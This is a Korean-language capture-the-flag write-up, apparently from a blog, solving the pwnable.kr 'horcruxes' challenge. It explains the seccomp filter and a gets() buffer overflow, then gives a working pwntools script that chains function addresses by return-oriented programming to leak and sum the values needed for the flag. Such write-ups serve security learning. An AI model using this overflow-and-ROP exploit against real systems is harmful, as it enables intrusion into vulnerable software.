![image](https://user-images.githubusercontent.com/52568230/72962930-1a8fbc80-3df9-11ea-93d8-f34f8c2997b2.png)
seccomp 기능이 적용되었으므로 seccomp-tools을 이용해 분석하자.
![image](https://user-images.githubusercontent.com/52568230/72962983-43b04d00-3df9-11ea-8e35-fdae7378ea1c.png)
read, write, open, sigreturn, exit을 제외하고 모두 kill한다.
![image](https://user-images.githubusercontent.com/52568230/72963046-7d815380-3df9-11ea-8a9d-d7820a158f0d.png)
a, b, c, d, e, f, g, sum의 값을 설정한다.
gcd(0xDEADBEEF, 0xCAFEBABE)의 값은 1이므로 brute force로 a, b, c, d, e, f, g의 값을 맞추기는 불가능하다.
![image](https://user-images.githubusercontent.com/52568230/72963173-dd77fa00-3df9-11ea-9e55-b1d33c2d45e3.png)
v2에 값을 하나 받아서 a, b, c, d, e, f, g가 (당연히) 아니라면 gets(s)에서 bof가 난다. s의 값이 sum일 수도 없다.
got overwrite를 하려는데 got 주소에 모두 \x0a가 있어서 gets 함수가 종료된다. 다른 방법을 쓰자.
![image](https://user-images.githubusercontent.com/52568230/72969379-b2e16d80-3e08-11ea-8aac-dc530af79739.png)
main 함수에 에필로그가 또 이상하다. 처음 입력하는 v2에 flag를 딸 수 있는 주소를 입력하고 ebp를 조작하려 했지만 ebp를 조작하기 위해서 v2를 덮어야 해서 불가능하다.
주소에 \x0a가 들어있는 것들을 찾다가 A~F 함수랑 ropme를 call하는 함수를 찾았다. 이를 이용하면 끝.
Exploit Code
from pwn import *
#p=process('./horcruxes')
p=remote('localhost', 9032)
A = 0x809fe4b
B = 0x809fe6a
C = 0x809fe89
D = 0x809fea8
E = 0x809fec7
F = 0x809fee6
G = 0x809ff05
ropme = 0x809fffc
pause()
payload = 'A'*0x78+p32(A)+p32(B)+p32(C)+p32(D)+p32(E)+p32(F)+p32(G)+p32(ropme)
p.sendlineafter('Menu:', '1234')
p.sendlineafter(': ', payload)
ans = 0x0
p.recvuntil('+')
ans += int(p.recvline()[:-2])
p.recvuntil('+')
ans += int(p.recvline()[:-2])
p.recvuntil('+')
ans += int(p.recvline()[:-2])
p.recvuntil('+')
ans += int(p.recvline()[:-2])
p.recvuntil('+')
ans += int(p.recvline()[:-2])
p.recvuntil('+')
ans += int(p.recvline()[:-2])
p.recvuntil('+')
ans += int(p.recvline()[:-2])
print ans
p.interactive()
Capture the Flag
![image](https://user-images.githubusercontent.com/52568230/72972522-efb06300-3e0e-11ea-9085-08ad608ca180.png)
'Writeup [pwn] > pwnable.kr' 카테고리의 다른 글
leg (0) | 2020.03.07 |
---|---|
input (0) | 2020.03.07 |
fd (0) | 2020.03.07 |
collision (0) | 2020.03.07 |
coin1 (0) | 2020.03.07 |